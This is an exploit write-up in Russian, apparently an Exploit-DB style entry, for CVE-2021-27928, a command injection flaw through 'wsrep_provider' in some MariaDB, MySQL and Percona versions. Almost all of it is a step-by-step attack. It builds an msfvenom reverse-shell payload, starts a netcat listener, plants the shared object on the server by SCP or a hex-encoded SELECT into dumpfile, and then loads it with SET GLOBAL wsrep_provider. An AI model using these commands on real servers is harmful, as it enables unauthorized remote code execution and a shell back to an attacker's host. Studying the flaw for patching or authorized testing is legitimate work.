
CVE-2021-27928 MariaDB/MySQL-'wsrep provider' уязвимость внедрения команд
Exploit Title: Выполнение команд ОС через 'wsrep_provider' в MariaDB 10.2 / MySQL
Date: 03/18/2021
Exploit Author: Central InfoSec
Version:
MariaDB 10.2 до 10.2.37
10.3 до 10.3.28
10.4 до 10.4.18
10.5 до 10.5.9
Percona Server до 2021-03-03; и патч wsrep до 2021-03-03 для MySQL
Tested on: Linux
CVE : CVE-2021-27928
Шаг 1: Создайте полезную нагрузку reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o CVE-2021-27928.so

Шаг 2: Запустите слушатель
nc -lnvp <port>

Шаг 3: Скопируйте полезную нагрузку на целевую машину
Через SCP
scp CVE-2021-27928.so <user>@<ip>:/tmp/CVE-2021-27928.so
Через Dumpfile
python3 -c 'print(open("CVE-2021-27928.so", "rb").read().hex())'
mysql -u <user> -p -h <ip>
SELECT UNHEX('PYTHON_OUTPUT') into dumpfile '/tmp/CVE-2021-27928.so';
Шаг 4:Выполните полезную нагрузку
mysql -u <user> -p -h <ip>
SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";
